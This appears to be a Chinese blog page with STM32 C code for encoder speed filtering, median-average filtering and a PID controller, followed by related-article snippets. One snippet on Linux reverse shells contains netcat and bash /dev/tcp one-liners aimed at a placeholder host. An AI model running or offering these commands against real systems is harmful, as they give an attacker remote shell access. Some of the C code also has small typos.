STM32算法
1.通过编码器对返回的错误速度进行滤波
#define MOTOR_BUFF_CIRCLE_SIZE 4
#define STATIC_ENCODER_VALUE 6int32_t LMotor_Encoder_buff[MOTOR_BUFF_CIRCLE_SIZE] = {0};
uint8_t LEindex = 0;
int32_t LMotor_Encoder_last = 0;
int32_t L_Encoder_change = 0;int32_t RMotor_Encoder_buff[MOTOR_BUFF_CIRCLE_SIZE] = {0};
uint8_t REindex = 0;
int32_t RMotor_Encoder_last = 0;
int32_t R_Encoder_change = 0;uint8_t Robot_static_flag = 0;
uint8_t Robot_dynamic_flag = 0;int32_t Encoder_buff_change_value(int32_t *buff,uint8_t size)
{ int i = 0;int32_t value = 0;for(i = 0; i < size;i++){value += buff[i]; }return value;
}u8 Speed_Filter_send(int32_t L_speed,int32_t R_speed)
{ CAN1Sedbuf[0]=L_speed;CAN1Sedbuf[1]=L_speed>>8;CAN1Sedbuf[2]=L_speed>>16;CAN1Sedbuf[3]=L_speed>>24;CAN1Sedbuf[4]=R_speed;CAN1Sedbuf[5]=R_speed>>8;CAN1Sedbuf[6]=R_speed>>16;CAN1Sedbuf[7]=R_speed>>24; CAN1_Send(0x183,8); Delay_Us(200);
}void Updata_Motor_Speed(void)
{
// if((Motor_Vel_receive[0] < 10) && (Motor_Vel_receive[0] > -10))
// {
// Motor_Vel_receive[0] = 0;
// }// if((Motor_Vel_receive[1] < 10) && (Motor_Vel_receive[1] > -10))
// {
// Motor_Vel_receive[1] = 0;
// } LEindex = LEindex % MOTOR_BUFF_CIRCLE_SIZE;LMotor_Encoder_buff[LEindex] = Motor_Encoder_receive[0] - LMotor_Encoder_last;LEindex++;LMotor_Encoder_last = Motor_Encoder_receive[0];L_Encoder_change = Encoder_buff_change_value(LMotor_Encoder_buff,MOTOR_BUFF_CIRCLE_SIZE);REindex = REindex % MOTOR_BUFF_CIRCLE_SIZE;RMotor_Encoder_buff[REindex] = Motor_Encoder_receive[1] - RMotor_Encoder_last;REindex++;RMotor_Encoder_last = Motor_Encoder_receive[1];R_Encoder_change = Encoder_buff_change_value(RMotor_Encoder_buff,MOTOR_BUFF_CIRCLE_SIZE); if( (abs(L_Encoder_change) < STATIC_ENCODER_VALUE) && (abs(R_Encoder_change) < STATIC_ENCODER_VALUE) ){//staticRobot_static_flag = 1;Robot_dynamic_flag = 0;}else{//dynamicRobot_static_flag = 0;Robot_dynamic_flag = 1;}if( (Robot_static_flag == 1) && (Robot_dynamic_flag == 0) ){Motor_Speed[0] = 0;Motor_Speed[1] = 0;Motor_Odom = 0;Motor_gyro_z = 0; Speed_Filter_send(0,0);}else{Motor_Speed[0] = rpm2vel(Motor_Vel_receive[0]);Motor_Speed[1] = -rpm2vel(Motor_Vel_receive[1]);Motor_Odom = (Motor_Speed[0] + Motor_Speed[1])/2.0f;Motor_gyro_z = ((Motor_Speed[1] - Motor_Speed[0])/WHRRL_L); Speed_Filter_send(Motor_Vel_receive[0],Motor_Vel_receive[1]);}Motor_L_Encoder = Encoder2Distance(Motor_Encoder_receive[0]);Motor_R_Encoder = -Encoder2Distance(Motor_Encoder_receive[1]);
}
2.中位值平均滤波
/***note
input:Speed_input_value;
outout:Speed_output_value;**/#define FILTER_BUFFER_SIZE 4
uint8 speed_filter[FILTER_BUFFER_SIZE] ={0};void TMSpeed_filter(void)
{static unit8 ad_save_location=0;speed_filter[ad_save_location] = Speed_input_value; /*sample value get input value*/ if (ad_save_location > (FILTER_BUFFER_SIZE-1)) { ad_save_location = 0;TM_filter(); //中位值平均滤波}else{ad_save_location++;}
}/*************************************************************************** * Function: void compositor(u8 channel)* Description: 中位值平均滤波* Parameters: None * Returns: * Author: Teana**************************************************************************/
void compositor(void)
{unit8 exchange;unit8 i,j;u16 change_value;for (j=FILTER_BUFFER_SIZE;j>1;j--){for (i=0;i<j-1;i++){exchange = 0;if (speed_filter[i]>speed_filter[i+1]){change_value = speed_filter[i];speed_filter[i] = speed_filter[i+1];speed_filter[i+1] = change_value;exchange = 1;}}if (exchange == 0)return;}
}void TM_filter(void)
{unit8 index;unit8 count;u16 sum_data = 0;compositor(); //filter up-downfor (count=1;count<FILTER_BUFFER_SIZE-1;count++){sum_data +=speed_filter[count];}Speed_output_value= sum_data / (FILTER_BUFFER_SIZE - 2);sum_data = 0;}
3.PID算法
pid.h
// protection against multiple includes
#ifndef SAXBOPHONE_PID_H
#define SAXBOPHONE_PID_H#ifdef __cplusplus
extern "C"{
#endiftypedef struct pid_calibration {/** struct PID_Calibration* * Struct storing calibrated PID constants for a PID Controller* These are used for tuning the algorithm and the values they take are* dependent upon the application - (in other words, YMMV...)*/double kp; // Proportional gaindouble ki; // Integral gaindouble kd; // Derivative gain} PID_Calibration;typedef struct pid_state {/** struct PID_State* * Struct storing the current state of a PID Controller.* This is used as the input value to the PID algorithm function, which also* returns a PID_State struct reflecting the adjustments suggested by the algorithm.* * NOTE: The output field in this struct is set by the PID algorithm function, and* is ignored in the actual calculations.*/double actual; // The actual reading as measureddouble target; // The desired readingdouble time_delta; // Time since last sample/calculation - should be set when updating state// The previously calculated error between actual and target (zero initially)double previous_error;double integral; // Sum of integral error over timedouble output; // the modified output value calculated by the algorithm, to compensate for error} PID_State;/** PID Controller Algorithm implementation* * Given a PID calibration for the P, I and D values and a PID_State for the current* state of the PID controller, calculate the new state for the PID Controller and set* the output state to compensate for any error as defined by the algorithm*/PID_State pid_iterate(PID_Calibration calibration, PID_State state);#ifdef __cplusplus
} // extern "C"
#endif// end of header
#endif
pid.c
#include "pid.h"PID_State pid_iterate(PID_Calibration calibration, PID_State state) {// calculate difference between desired and actual values (the error)double error = state.target - state.actual;// calculate and update integralstate.integral += (error * state.time_delta);// calculate derivativedouble derivative = (error - state.previous_error) / state.time_delta;// calculate output value according to algorithmstate.output = ((calibration.kp * error) + (calibration.ki * state.integral) + (calibration.kd * derivative));// update state.previous_error to the error value calculated on this iterationstate.previous_error = error;// return the state struct reflecting the calculationsreturn state;
}
test.c
#include "pid.h"// initialise blank PID_Calibration struct and blank PID_State struct
PID_Calibration calibration;
PID_State state;void setup() {// configure the calibration and state structs// dummy gain valuescalibration.kp = 1.0;calibration.ki = 1.0;calibration.kd = 1.0;// an initial blank starting statestate.actual = 0.0;state.target = 0.0;state.time_delta = 1.0; // assume an arbitrary time interval of 1.0state.previous_error = 0.0;state.integral = 0.0;// start the serial line at 9600 baud!Serial.begin(9600);
}void loop() {// read in two bytes from serial, assume first is the target value and// second is the actual value. Output calculated result on serialif (Serial.available() >= 2) {// retrieve one byte as target value, cast to double and store in state structstate.target = (double) Serial.read();// same as above for actual valuestate.actual = (double) Serial.read();// now do PID calculation and assign output back to statestate = pid_iterate(calibration, state);// print results back on serialSerial.print("Target:\t");Serial.println(state.target);Serial.print("Actual:\t");Serial.println(state.actual);Serial.print("Output:\t");Serial.println(state.output);}
}相关文章:
STM32算法
1.通过编码器对返回的错误速度进行滤波 #define MOTOR_BUFF_CIRCLE_SIZE 4 #define STATIC_ENCODER_VALUE 6int32_t LMotor_Encoder_buff[MOTOR_BUFF_CIRCLE_SIZE] {0}; uint8_t LEindex 0; int32_t LMotor_Encoder_last 0; int32_t L_Encoder_change 0;int32_t RMotor_…...
论文阅读 (106):Decoupling maxlogit for out-of-distribution detection (2023 CVPR)
文章目录 1 概述1.1 要点1.2 代码1.3 引用 2 预备知识3 方法3.1 MaxLogit3.2 改进MaxCosine和MaxNorm3.3 DML 1 概述 1.1 要点 题目:解耦最大logit分布外检测 (Decoupling maxlogit for out-of-distribution detection) 方法: 提出了一种心机基于log…...
毅速丨3D打印随形水路为何受到模具制造追捧
在模具制造行业中,随形水路镶件正逐渐成为一种革命性的技术,其提高冷却效率、优化产品设计、降低成本等优点,为模具制造带来了巨大的创新价值。 随形水路是一种根据产品形状定制的冷却水路,其镶件可以均匀地分布在模具的表面或内部…...
【LeetCode:1670. 设计前中后队列 | 数据结构设计】
🚀 算法题 🚀 🌲 算法刷题专栏 | 面试必备算法 | 面试高频算法 🍀 🌲 越难的东西,越要努力坚持,因为它具有很高的价值,算法就是这样✨ 🌲 作者简介:硕风和炜,…...
OpenCV将两张图片拼接成一张图片
OpenCV将两张图片拼接成一张图片 示例代码1示例代码2代码示例3示例代码4 可以用opencv或者numpy的拼接函数,直接将两张图拼接到一起,很简单方便,参考代码2,推荐此方式。新建图片,将两张图片的像素值填充到新图片对应位…...
4G5G智能执法记录仪在保险公司车辆保险远程定损中的应用
4G智能执法记录仪:汽车保险定损的**利器 随着科技的不断进步,越来越多的智能设备应用到日常生活中。而在车辆保险定损领域,4G智能执法记录仪的出现无疑是一大**。它不仅可以实现远程定损,还能实现可视化操作、打印保单以及数据融…...
二十七、RestClient查询文档
目录 一、MatchALL查询 二、Match查询 三、bool查询 四、排序和分页 五、高亮 一、MatchALL查询 Testvoid testMatchAll() throws IOException { // 准备Request对象SearchRequest request new SearchRequest("hotel"); // 准备DSLrequest.source().q…...
百度云Ubuntu22.04
1. download 百度云 2. sudo dpkg -i ***.deb...
解除word文档限制,快速轻松,seo优化。
文章解密、找回和去除word文档密码的安全、简单、高效方法 具体步骤如下:1. 百度搜索【密码帝官网】,2. 点击“立即开始”在用户中心上传需要解密的文件,稍等片刻即可找回密码。这是最简单的办法,无需下载软件,适用于手…...
【音频】Glitch相关
背景 因为要判断低码率下,MOS分值为啥下降,从几个方面调查。其中提及到Glitch、缓冲buffer等,慢慢积累名次概念以及经验。 “Glitch” 在音频领域通常指的是非预期的、短暂的干扰或失真。这些问题可能由于信号传输错误、设备问题、软件错误等…...
【开源】基于Vue+SpringBoot的大学生相亲网站
项目编号: S 048 ,文末获取源码。 \color{red}{项目编号:S048,文末获取源码。} 项目编号:S048,文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块三、系统展示四、核心代码4.1 查询会员4…...
5种主流API网关技术选型,yyds!
API网关是微服务项目的重要组成部分,今天来聊聊API网关的技术选型,有理论,有实战。 不 BB,上文章目录: 1 API网关基础 1.1 什么是API网关 API网关是一个服务器,是系统的唯一入口。 从面向对象设计的角度…...
请求pdf文件流并进行预览
最近做了一个需求就是预览pdf等文件,不过后端返回的是一个文件流,需要前端做一定地处理才行。 我们来看一下具体的实现方式。预览pdf的插件使用的是pdf.js,具体请看这篇文章:pdf.js插件怎么控制工具栏的显示与隐藏 1、请求pdf文件…...
【Unity程序技巧】加入缓存池存储地图资源,节省资源,避免多次CG
👨💻个人主页:元宇宙-秩沅 👨💻 hallo 欢迎 点赞👍 收藏⭐ 留言📝 加关注✅! 👨💻 本文由 秩沅 原创 👨💻 收录于专栏:Uni…...
虹科Pico汽车示波器 | 汽车免拆检修 | 2016款东风悦达起亚K5车发动机怠速抖动严重、加速无力
一、故障现象 一辆2016款东风悦达起亚K5车,搭载G4FJ发动机,累计行驶里程约为8.2万km。该车发动机怠速抖动严重、加速无力,同时发动机故障灯异常点亮,为此在其他维修厂更换了所有点火线圈和火花塞,故障依旧,…...
4.Spring源码解析-loadBeanDefinitions(XmlBeanDefinitionReader)
第一个点进去 发现是空 肯定走的第二个逻辑了 这里在这里已经给属性设置了值,所以肯定不是空能拿到。 1.ClassPathXmlApplicationContext 总结:该loadBeanDefinitions是XmlBeanDefinitionReader设置xml文件在哪。...
PHP 针对人大金仓KingbaseES自动生成数据字典
针对国产数据库 人大金仓KingbaseES 其实php 连接采用pdo方式 必须:需要去人大数据金仓官方网站 下载对应版本的pdo_kdb 扩展驱动 其连接方法与pgsql 数据库连接方法大致相同 不解释 直接上代码: <?php /*** 生成人大金仓数据字典*/ header(…...
java选择排序和冒泡排序
1.区别 选择排序和冒泡排序的区别主要在于算法逻辑、稳定性和交换成本。 算法逻辑:选择排序和冒泡排序都属于比较排序,但在具体算法逻辑上有所不同。冒泡排序是通过相邻元素之间的比较和交换,将较大(或较小)的元素逐…...
linux反弹shell
nc工具反弹shell 下面是windows主机找到nc打开1.bat输入:nc 连接的IP地址 端口 受害主机是nc -lvvp 端口 -t -e /bin/bash kali系统连接 bash命令反弹 本地 nc -l -p 端口, 受害主机 bash -i >& /dev/tcp/要连接的主机IP/端口 0>&1 注…...
Go字符串类型
一、字符串 1、字符串 Go 语言里的字符串的内部实现使用 UTF-8 编码字符串带的值为双引号(")中的内容,可以在 Go 语言的源码中直接添加非ASCII 码字符 s1 : "hello" s2 : "您好" 2、字符串转义符 Go 语言的字符…...
如何突破Cursor AI限制:完整开源工具使用指南与实战技巧
如何突破Cursor AI限制:完整开源工具使用指南与实战技巧 【免费下载链接】cursor-free-vip [Support 0.45](Multi Language 多语言)自动注册 Cursor Ai ,自动重置机器ID , 免费升级使用Pro 功能: Youve reached your t…...
5个步骤搞定CLIP图文匹配:本地工具实测,效果直观看得见
5个步骤搞定CLIP图文匹配:本地工具实测,效果直观看得见 想验证一张图片和几段文字描述哪个最匹配?CLIP模型能给出专业答案,但自己搭建测试环境太麻烦?今天带你用5个简单步骤,在本地电脑上零代码搞定图文匹…...
网络安全视角:图片旋转判断模型的对抗攻击
网络安全视角:图片旋转判断模型的对抗攻击 1. 引言 在当今数字化时代,图片旋转判断模型已经成为许多应用的核心组件,从社交媒体自动旋转照片到文档扫描应用的自动校正功能。然而,这些看似简单的模型背后隐藏着严重的安全隐患。本…...
如何快速掌握LyricsX:Mac桌面歌词显示的终极解决方案
如何快速掌握LyricsX:Mac桌面歌词显示的终极解决方案 【免费下载链接】Lyrics Swift-based iTunes plug-in to display lyrics on the desktop. 项目地址: https://gitcode.com/gh_mirrors/lyr/Lyrics LyricsX是一款专为Mac用户设计的免费开源iTunes歌词插件…...
LRCGet:从离线音乐库到歌词生态系统的技术探索
LRCGet:从离线音乐库到歌词生态系统的技术探索 【免费下载链接】lrcget Utility for mass-downloading LRC synced lyrics for your offline music library. 项目地址: https://gitcode.com/gh_mirrors/lr/lrcget 当你的音乐收藏从流媒体服务迁移到本地硬盘&…...
BetterGI终极指南:如何用原神自动化助手解放双手,轻松享受游戏乐趣
BetterGI终极指南:如何用原神自动化助手解放双手,轻松享受游戏乐趣 【免费下载链接】better-genshin-impact 📦BetterGI 更好的原神 - 自动拾取 | 自动剧情 | 全自动钓鱼(AI) | 全自动七圣召唤 | 自动伐木 | 自动刷本 | 自动采集/挖矿/锄地 …...
手把手教你用Simulink Counter模块实现0-15循环计数(含复位与触发配置详解)
深入掌握Simulink Counter模块:从基础配置到高级触发技巧 在工程仿真和数字系统设计中,计数器是最基础也最关键的组件之一。Simulink作为业界领先的建模与仿真平台,提供了高度优化的Counter模块,能够满足从简单计数到复杂触发逻辑…...
代码签名证书怎么申请与选择?
在数字化浪潮席卷全球的今天,软件安全已成为企业与开发者不可回避的核心议题。恶意代码篡改、软件伪造等威胁层出不穷,而代码签名证书正是为软件安全筑起的第一道防线。它通过数字签名技术为软件赋予唯一的身份标识,确保代码在传输与安装过程…...
ccmusic-database实战教程:结合plot.py可视化训练曲线与混淆矩阵
ccmusic-database实战教程:结合plot.py可视化训练曲线与混淆矩阵 1. 引言:为什么需要可视化? 当你训练一个音乐流派分类模型时,最让人头疼的是什么?是漫长的等待,还是看着一堆冰冷的数字,却不…...
gh_mirrors/ema/emacs.d的拼写检查:wucuo与flyspell对比
gh_mirrors/ema/emacs.d的拼写检查:wucuo与flyspell对比 【免费下载链接】emacs.d Fast and robust Emacs setup. 项目地址: https://gitcode.com/gh_mirrors/ema/emacs.d 在gh_mirrors/ema/emacs.d项目中,拼写检查是提升代码质量和文档准确性的重…...
